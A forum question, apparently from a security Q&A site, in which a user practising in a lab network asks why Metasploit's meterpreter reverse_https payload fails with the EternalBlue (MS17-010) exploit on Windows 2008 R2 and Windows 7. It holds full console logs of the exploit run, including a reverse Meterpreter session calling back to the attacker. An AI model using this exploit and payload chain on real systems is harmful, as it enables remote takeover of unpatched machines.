2

I was trying to practice with meterpreter, so I used the overflow ms17_010_eternalblue and as a payload windows/meterpreter/reverse_https but I am unable to make this payload to work properly.

1st target: win2008r2 (10.0.0.6)
2nd target: win7 (10.0.0.7)

Both without firewall, AV, connectivity is LAN (same adapter) as the attacker (10.0.0.1).

I've properly set all options (rhosts, lhost, lport...).

On the win2008r2 it goes like this:

[*] Started HTTPS reverse handler on https://10.0.0.1:443
[*] 10.0.0.6:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 10.0.0.6:445- Host is likely VULNERABLE to MS17-010! - Windows Server 2008 R2 Standard 7601 Service Pack 1 x64 (64-bit)
[*] 10.0.0.6:445- Scanned 1 of 1 hosts (100% complete)
[*] 10.0.0.6:445 - Connecting to target for exploitation.
[+] 10.0.0.6:445 - Connection established for exploitation.
[+] 10.0.0.6:445 - Target OS selected valid for OS indicated by SMB reply
[*] 10.0.0.6:445 - CORE raw buffer dump (51 bytes)
[*] 10.0.0.6:445 - 0x00000000 57 69 6e 64 6f 77 73 20 53 65 72 76 65 72 20 32 Windows Server 2
[*] 10.0.0.6:445 - 0x00000010 30 30 38 20 52 32 20 53 74 61 6e 64 61 72 64 20 008 R2 Standard
[*] 10.0.0.6:445 - 0x00000020 37 36 30 31 20 53 65 72 76 69 63 65 20 50 61 63 7601 Service Pac
[*] 10.0.0.6:445 - 0x00000030 6b 20 31 k 1
[+] 10.0.0.6:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 10.0.0.6:445 - Trying exploit with 12 Groom Allocations.
[*] 10.0.0.6:445 - Sending all but last fragment of exploit packet
[*] 10.0.0.6:445 - Starting non-paged pool grooming
[+] 10.0.0.6:445 - Sending SMBv2 buffers
[+] 10.0.0.6:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 10.0.0.6:445 - Sending final SMBv2 buffers.
[*] 10.0.0.6:445 - Sending last fragment of exploit packet!
[*] 10.0.0.6:445 - Receiving response from exploit packet
[+] 10.0.0.6:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 10.0.0.6:445 - Sending egg to corrupted connection.
[*] 10.0.0.6:445 - Triggering free of corrupted buffer.
[-] 10.0.0.6:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[-] 10.0.0.6:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=FAIL-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[-] 10.0.0.6:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

It goes for 3 times then out. The host sometimes reboots, sometimes it won't. Tried this same exploit with other payloads like cmd and reverse_http and it works fine...so maybe I'm missing something with https setup.

On the win7, the result is interesting but dissapointing:

[*] Started HTTPS reverse handler on https://10.0.0.1:443
[*] 10.0.0.7:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 10.0.0.7:445- Host is likely VULNERABLE to MS17-010! - Windows 7 Ultimate 7601 Service Pack 1 x64 (64-bit)
[*] 10.0.0.7:445- Scanned 1 of 1 hosts (100% complete)
[*] 10.0.0.7:445 - Connecting to target for exploitation.
[+] 10.0.0.7:445 - Connection established for exploitation.
[+] 10.0.0.7:445 - Target OS selected valid for OS indicated by SMB reply
[*] 10.0.0.7:445 - CORE raw buffer dump (38 bytes)
[*] 10.0.0.7:445 - 0x00000000 57 69 6e 64 6f 77 73 20 37 20 55 6c 74 69 6d 61 Windows 7 Ultima
[*] 10.0.0.7:445 - 0x00000010 74 65 20 37 36 30 31 20 53 65 72 76 69 63 65 20 te 7601 Service
[*] 10.0.0.7:445 - 0x00000020 50 61 63 6b 20 31 Pack 1
[+] 10.0.0.7:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 10.0.0.7:445 - Trying exploit with 12 Groom Allocations.
[*] 10.0.0.7:445 - Sending all but last fragment of exploit packet
[*] 10.0.0.7:445 - Starting non-paged pool grooming
[+] 10.0.0.7:445 - Sending SMBv2 buffers
[+] 10.0.0.7:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 10.0.0.7:445 - Sending final SMBv2 buffers.
[*] 10.0.0.7:445 - Sending last fragment of exploit packet!
[*] 10.0.0.7:445 - Receiving response from exploit packet
[+] 10.0.0.7:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 10.0.0.7:445 - Sending egg to corrupted connection.
[*] 10.0.0.7:445 - Triggering free of corrupted buffer.
[*] https://10.0.0.1:443 handling request from 10.0.0.7; (UUID: ym6hhk2d) Staging x64 payload (207449 bytes) ...
[*] Meterpreter session 5 opened (10.0.0.1:443 -> 10.0.0.7:2350) at 2020-01-07 14:56:49 -0500
[-] 10.0.0.7:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[-] 10.0.0.7:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=FAIL-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[-] 10.0.0.7:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

It goes on and on for 4 times until it finishes without "working" sessions. It does open them but if you interact with them, they are dead.

Also like on 2008, if I switch to reverse_tcp or http works just fine.

No encoders used.

Tried with both x86 and x64 payloads (in my short experience I've seen matching OS arch and payload does help but sometimes...)

Tried also with meterpreter/reverse_winhttps (because of WinInet and WinHTTP, but I didn't read deep on this so maybe I' m missing something there too).

Was also working with msfvenom and creating payloads to execute over these 2 systems.

Results were the following:

On the win2008r2 no matter what, I am unable to create a meterpreter session on attacker. The exe runs fine, creates connection back to the attacker and even I see in the attacker box how it is receiving connections and answering back (I believe stages), but since msfconsole handler reports nothing I am a bit lost).

Tried the same setup with reverse_tcp and reverse_http payloads and both works fine, creating session and so.

On the win7, finally success with reverse_https. The payload generated with msfvenom is connecting back to attacker and creating the session.

Win7 also working with reverse_tcp and reverse_http payloads.

What am I missing about the https payload?

OS: Linux kali 5.3.0-kali3-amd64 #1 SMP Debian 5.3.15-1kali1

Metasploit
Framework: 5.0.66-dev
Console : 5.0.66-dev

Summary:

reverse_https works only in Win7 when it is created with msfvenom and executed manually in the target machine. It won't work using it as a payload for a common exploit like eternalblue, launched from an attacker machine in metasploit.

For 2008, I can't make it work either from metasploit or with manual execution from the target machine.

What I am trying to get out of this is, is understanding why it is failing, if I am missing something regarding reverse_https payload or if it is a specific or known issue with reverse_https and win7/2008r2.

I have run a packet capture, with tcpdump and wireshark and I saw in attacker machine how it receives traffic from victim, and also how it sends back traffic to victim, communication is established and flowing but no session created in listener.

  • I've had the same issue using ms17_010_eternalblue with larger payloads like Meterpreter. As you say in your question, if you use a simple cmd shell payload it's much more reliable. You could also use ms17_010_psexec or ms17_010_command, which use a different exploitation technique and are ([apparently][1]) much more reliable than the eternalblue version. [1]: twitter.com/zerosum0x0/status/959287820756987905 – markeldo Jan 9 at 4:21
  • Regarding larger/smaller payloads, I believe it won't be much size difference between reverse_http and reverse_https for this one to fail, I am pretty sure there is something else under the hood. The main issue about this, is meterpreter/reverse_https being the only worthy payload with a reverse_https, if anybody knows a shell with reverse_https out of meterpreter, pls let me know. thanks. – H0rs3n5 Jan 9 at 16:26

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Browse other questions tagged or ask your own question.